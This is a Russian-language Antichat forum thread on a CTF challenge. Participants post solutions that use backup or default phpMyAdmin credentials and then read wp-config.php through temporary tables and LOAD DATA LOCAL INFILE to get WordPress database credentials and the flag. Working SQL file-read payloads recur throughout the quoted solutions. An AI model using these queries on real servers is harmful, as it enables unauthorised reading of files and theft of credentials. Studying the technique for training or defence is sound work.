HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #61  
Старый 08.02.2019, 01:55
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от t0ma5  

ну и херово, ктф развивают навыки, убивают мышление
!=FALSE
 
Ответить с цитированием

  #62  
Старый 08.02.2019, 08:25
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Цитата:
Сообщение от t0ma5  

ахах я чекаю
и спустя 10 лет буду чекать. слово "чекер" увидел тригер сработал)? сколько сайтов видел где разраб настолько глуп чтобы оставлять бекапные файлы и настраивать какую то логику запросов чтобы они не читались? я пока не одного
вообще я просто скинул два скрипта, как и где их использовать это дело каждого
если человек сразу запускает брутер, то это не человек, а обезьяна, как минимум должен быть минимальный обзор, что за технологии юзает сайт, шаред это или вдс, часовой пояс. это банальный минимум
Вот это тебя бомбануло.

Спорить не буду, у каждого свой опыт, о своем я написал, не стоит его воспринимать так близко к сердцу.
 
Ответить с цитированием

  #63  
Старый 08.02.2019, 08:27
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

А тем временем таск подходит к концу, не забываем, что это последнее задание из конкретно простых, и то, сколько было эмоций и пригоревших жоп.

Я уже в ожидании конкретно сложного таска
 
Ответить с цитированием

  #64  
Старый 08.02.2019, 14:41
Stepan999
Новичок
Регистрация: 18.12.2018
Сообщений: 3
С нами: 3897686

Репутация: 7
По умолчанию

Прошел. Теперь я знаю немножечко больше.
 
Ответить с цитированием

  #65  
Старый 09.02.2019, 23:10
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Закрываем задание.

Первым делом нужно было найти "дверь".

Это phpmyadmin.

И дверь и "ключи" к ней можно найти без сканеров и брута.

Но на первый взгляд, если это и дверь, то ведет она в тупик, поскольку права у доступных учеток сильно порезаны.

И даже такой привычный инструмент, как load data local infile задействовать не получается, поскольку нет доступных таблиц и привилегий CREATE TABLE и INSERT.

При всей первоначально кажущейся неприступности, решение становится очевидным, когда понимаем, что существуют еще и временные таблицы, и права на работу с ними выставляются отдельно, и в данном случае права имеются.

Работать с временными таблицами почти так же удобно, как и с постоянными.

Единственное отличие - существуют они только на время сеанса, поэтому все операции нужно производить единым блоком, в одном сеансе.

В ПМА несколько запросов можно выполнить за один вызов, разделяя их точкой с запятой.

Проблемы с чтением локальных файлов исчезают.

Читаем конфиг Вордпресса, (расположен он в дефолтном месте, да и относительные пути подойдут - на каталог выше) и авторизуемся в ПМА с учеткой сайта.

Видим в базе табличку wp_task, в ней поле flag - конец истории.

Как можно было выйти на эти самые временные таблицы.

Мысли, они текут разными путями, но самым простым и естественным способом - задействовать штатные средства, команду "SHOW GRANTS", которая и показывает, какие права у нас есть.

Кто шел не первым, мог посмотреть статистику запросов - тоже хорошая подсказка.

Собственно решение умещается в три строчки, которые нужно выполнить в окне SQL запросов.

.SpoilerTarget" type="button">Spoiler: Прохождения

Цитата:
Сообщение от crlf  

Привет. Никогда с таким не сталкивался, но вроде всё логично)
Код:
/phpmyadmin/config.inc.php.bak
Код:
$cfg['Servers'][$i]['user'] = 'my';
$cfg['Servers'][$i]['password'] = 'asdn6YUTqwv';
Код:
SHOW GRANTS;
Код:
USE test;
CREATE TEMPORARY TABLE xxx (
  xxx varchar(2000)
);

LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE xxx FIELDS TERMINATED BY '\n';

SELECT * FROM xxx LIMIT 0,1000;
Код:
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
Код:
51febb216a8363cf246338857349e299
Здоровский лайтовенький таск, обожаю такие, спасибо!
Цитата:
Сообщение от l1ght  

1. 403 wp-admin,регистрация закрыта (в т.ч. через rest api),даже комменты вываливаются с 500ise. nmap исключает всевозможные варианты с кривыми настройками nginx-php+fpm,mysql итд - остается что - бекапы,конфиги - запускаем скан - находим pma пробуем root:root, pma
mapass
2. в пма урезанные права. я привык к класическому load data local infile,прав на create table в существующих бд нет поэтому
берем любую таблицу, например index_statistics у которой три колонки с varchar(192) на основе нее создаем временную и читаем конфиг вп
create temporary table s select * information_schema.index_statistics;load data local infile '../wp-config.php' into table s fields terminated by '\n';select * from s;
task:qlwkeju8Uyqmwepok$RR
3.заходим под учеткой вп, 51febb216a8363cf246338857349e299 (task3) флаг
Цитата:
Сообщение от Gorbachev  

Флаг: 51febb216a8363cf246338857349e299
Даа, это действительно легко, просто как два пальца. Знатно вы нас затроллили.
PMA я нашел сканнером, и не смотря на то, что догадался просканить ещё и PMA директорию, ничего не нашел по стандартным листам для поиска файлов.
С подсказкой ясное дело в PMA вошел, но там снова меня ждала развилка, с одной стороны вроде бы load_file() работает, но толком не определить, есть ли запрет для пользователя, или просто пути до файлов подобрать не могу. Да и путей у меня не было, хотя их тоже активно пытался найти.
Конечно я обратил внимание, что есть пустая база даных, и помня ваши слова, что никаких запутанных механизмов нет, понял, что тут что то не так, но про трюк с LOAD DATA LOCAL INFILE я не знал.
Я догадался выполнить команду Grants for my@localhost и там сразу бросается в глаза вот это разрешение temp таблиц, ну а дальше загуглил эту тему, и вышел на способ LOAD DATA LOCAL INFILE, и вбив /etc/passwd увидел ошибку open_basedir, а это не мускуль ошибка, тут всё стало понятно, попробовал ./index.php и он мне вывел содержимое файла, а дальше всё просто, добираюсь до конфига вп, лезу в него, на таблицу wp_task и не обратил внимание. Пасс у dooble небрутабелен (бегло на cmd5 глянул), поэтому заменил на свой, думал, что дефейснув сайт и получу флаг, причем! Честно скажу, у меня вылетел из головы момент, что через PMA тупо отредактировать пост можно было, я залогинился, из под юзверя не получилось ничего, я сдуру опять в REST API полез, пытаясь отредактировать пост. Ну дальше через PMA отредактировал, флага не нашёл, что вызвало удивление, в wp_posts куча всяких непонятных хеш тегов было, там не увидел, потом начал проходиться по таблицам и наткнулся на таблицу wp_task, всё.
Цитата:
Сообщение от MichelleBoxing  

решение
phpmyadmin нашел сразу, но пароли разные дефолтные не работали,
пошел ковырять rest ниче не получалось, решил поставить Phpmyadmin посмотреть какие файлы он по дефолту ставит и нашел там pma/pmapass
после входа в phpmyadmin ничего не получалось, прав не хватало на все что пробовал, не знал за что браться, что ковырять
пробовал всякую муть, но потом понял что версия относительно свежая и ничего в phpmyadmin это не сработает
прочекал версию, начал гуглить и была уязвимость на 4.8.1 (но я так понял она на предыдущих версиях не работает
https://www.vulnspy.com/phpmyadmin-4.8.1/
)
много еще всякой мути пробовал, вчера взял перерыв. После вчерашних сообщений от G G в Lvl8 чате что у него полулилось, вдохновленный решил дальше пробовать.
Как подсказал G G в чате, что все гуглиться решил что нужно еще раз попробовать покрутить эту cve на 4.8.1 с файлом сессии (возможно пути не правильные были...)
Зашел в phpmyadmin сегодня, на первой же странице мне говорит что мол, обновить до 4.8.5 и посмотри что там нового.
Перехожу по ссылке и он мне портянку выдает исправлений среди них * Arbitrary file read vulnerability (
https://www.phpmyadmin.net/security/PMASA-2019-1
)
а там про LOAD DATA INFILE а я ее до этого пробовал но не получилось. Почитал внимательно и узнал про LOCAL, охуел как давно эта фишка существует )
пошел проверят на таске все что начитался.
Ранее когда смотрел уже понял что в таблицы писать я не могу (ну не факт на самом деле), но есть возможность создавать временные таблицы
пошел гуглить как это делается и в итоге получилось с таким запросом прочитать конфиг вордпреса
CREATE TEMPORARY TABLE new_tbl as select * from information_schema.views;
load data local infile '../wp-config.php' into table test.new_tbl;
select * from test.new_tbl limit 100
флаг 51febb216a8363cf246338857349e299
Таск супер!!! спасибо
сорри за много букав )
Цитата:
Сообщение от grimnir  

1)google pma escalation privilege
2)
гугл
https://www.experts-exchange.com/que...mp-tables.html
3)
отсюда отталкивался
show grants for 'my'@'localhost'
4)
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEMP;
SELECT * FROM TEMP;
5)==============
CREATE TEMPORARY TABLE TEMP
(
USERNAME VARCHAR(50) NOT NULL,
PASSWORD VARCHAR(50) NOT NULL,
EMAIL varchar(100),
TYPE_USER INT
);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE TEMP
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\r\n'
IGNORE 1 LINES;
SELECT * FROM TEMP;
6)define('DB_USER' 'task'); NULLNULL
define('DB_PASS 'qlwkeju8Uyqmwepok$RR');
============
7)wp-task
flag: 51febb216a8363cf246338857349e299
Цитата:
Сообщение от p4ulinho  

прочитал конфиг вп через пма под юзером my:
create TEMPORARY table temp (text varchar(255) not null);
load data local infile '../wp-config.php' into table temp;
select * from temp limit 25,30;
под найденными данными учетки прочитал флаг из таблицы wp_task
Цитата:
Сообщение от ZodiaX  

YO!
use test;
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '../wp-config.php' INTO TABLE temp FIELDS TERMINATED BY '\n';
SELECT * FROM temp LIMIT 0, 500;
логинимся в pma под task'ом и читаем флаг 51febb216a8363cf246338857349e299
Цитата:
Сообщение от =HALK=  

1) Находим PMA по адресу
http://task.antichat.com:10003/phpmyadmin/
2) Подбираем креды
pma
:
pmapass
3) Выполняем запрос на чтение конфига WP:
Код:
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE temp;
SELECT * FROM temp;
4) Находим в нём доступы к базе
Код:
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
5) Подключаемся через PMA и видим таблицу
wp_task
, в которой флежит флаг
51febb216a8363cf246338857349e299
Цитата:
Сообщение от Cybersteger  

Привет, интересный таск) кто мани читает то пройдет
flag
51febb216a8363cf246338857349e299
CREATE TEMPORARY TABLE test.tempDelete (a text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE test.tempDelete FIELDS TERMINATED BY '\n';
SELECT * FROM test.tempDelete;
нужно убрать подсказку =
http://task.antichat.com:10003/phpmy...us_queries.php
Цитата:
Сообщение от redscout  

Привет, решение таска
После авторизации в phpmyadmin был осуществлен запрос на чтение файла wp-config.php
create temporary table new_tbl (kokoko varchar(10000));load data local infile '/var/www/html/wp-config.php' into table new_tbl fields terminated by '\n';select * from new_tbl;
Была обнаружена учетная запись task:qlwkeju8Uyqmwepok$RR с которой удалось успешно авторизоваться в phpmyadmin и найти флаг в таблице wp_task
Ответ: flag:51febb216a8363cf246338857349e299
Цитата:
Сообщение от gurux13  

Привет!
task3. Флаг 51febb216a8363cf246338857349e299
Получил так:
- Читаем config.inc.php.bak, видим пароль на my
- phpmyadmin старый и позволяет делать load data local infile.
Делаем sql:
create TEMPORARY table t (x
text
);
load data local infile '../wp-config.php' into table t (x);
select
* from t limit 10000
Видим содержимое wp-config. Там пароль на нормальную базу. В ней флаг.
Цитата:
Сообщение от Franky_T  

привет!
По поводу таска. Доступ к phpmyadmin через config.inc.php.bak, там креды для подключения пользователя my.
Дальше узнаем через show grants привилегии и понимаем, что можем создавать только временные таблицы. Кроме того, видим, что phpmyadmin очень хочет обновиться и идем гуглить, что там было. находим
https://www.phpmyadmin.net/security/PMASA-2019-1
делаем составной запрос, в котором создаем временную базу и пытаемся понять, можем ли просматривать содержимое файлов. Можем, как-то так:
create temporary table fr (x text); LOAD DATA local infile "config.inc.php.bak" into table test.fr; select * from test.fr;
Читается. Дальше преодолеваем ступор и видим Вашу подсказку на форуме про то, что база вордпресса лежит здесь же, а значит, и конфигурационный файл его тоже здесь. Ищем wp-config.php на уровень выше, он успешно читается, находим в нем
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
переподключаемся с этими кредами. Видим, что права уже совсем другие, ну и флаг в базе тоже видим: 51febb216a8363cf246338857349e299
Спасибо, очень крутой таск. Долго-долго морочил голову и лишал сна) и добавил знаний по MySQL, потому что пока доперла, что надо посмотреть, из-за чего он обновляется, перековыряла кучу статей)
Цитата:
Сообщение от unstppbl  

flag:51febb216a8363cf246338857349e299
Тупил несколько дней, статью про LOAD DATA INFILE видел, но не допёр сразу.
Загрузил wp-config в temporary table и сделал оттуда select, получил креды к бд, и в таблице wp_task лежал флаг.
SQL запросы:
CREATE TEMPORARY TABLE phpmyadmin.test(data TEXT);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE phpmyadmin.test;
SELECT data FROM phpmyadmin.test
Креды к бд:
define('DB_NAME', 'wordpress');
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
Цитата:
Сообщение от Stepan999  

Зашел в PMA (pma
mapass, либо my:asdn6YUTqwv из
http://task.antichat.com:10003/phpmy...ig.inc.php.bak
)
Сделал запрос:
CREATE TEMPORARY TABLE test (test blob);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE test;
SELECT * FROM test
получил лог пас который юзает вп
/
** Имя пользователя MySQL */
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
зашел, вижу базу вп
дальше на сколько я понимаю можно крутить вертеть как угодно.
Но не обошлось без подсказок
 
Ответить с цитированием

  #66  
Старый 09.02.2019, 23:38
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Разминочные задания окончены, теперь готовимся к основным таскам.

PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?

PPS: альтернативных решений таска не найдено ни одного?
 
Ответить с цитированием

  #67  
Старый 10.02.2019, 00:42
redscout
Новичок
Регистрация: 29.08.2016
Сообщений: 8
С нами: 5108726

Репутация: 6
По умолчанию

Цитата:
Сообщение от Gorbachev  

Разминочные задания окончены, теперь готовимся к основным таскам.
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
PPS: альтернативных решений таска не найдено ни одного?
/var/www/html/ - дефолтный путь веб-сервера в никсах.
 
Ответить с цитированием

  #68  
Старый 10.02.2019, 02:29
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 660
С нами: 5344886

Репутация: 441


По умолчанию

Цитата:
Сообщение от Gorbachev  

PPS: альтернативных решений таска не найдено ни одного?
RCE в пятаке решили публично не оглашать
 
Ответить с цитированием

  #69  
Старый 10.02.2019, 02:57
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Эх... А ведь давно знал об этом https://rdot.org/forum/showthread.php?t=741

Вот что значит Skill.....

Классный таск, жаль мозга нет такое решать

п.с А так хотел хинтануть в стиле каретки.

RDot.org Дубль красава.
 
Ответить с цитированием

  #70  
Старый 10.02.2019, 07:53
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию

Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ;

Жаль, был на верном пути в какой-то момент.

Таск крутой)
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.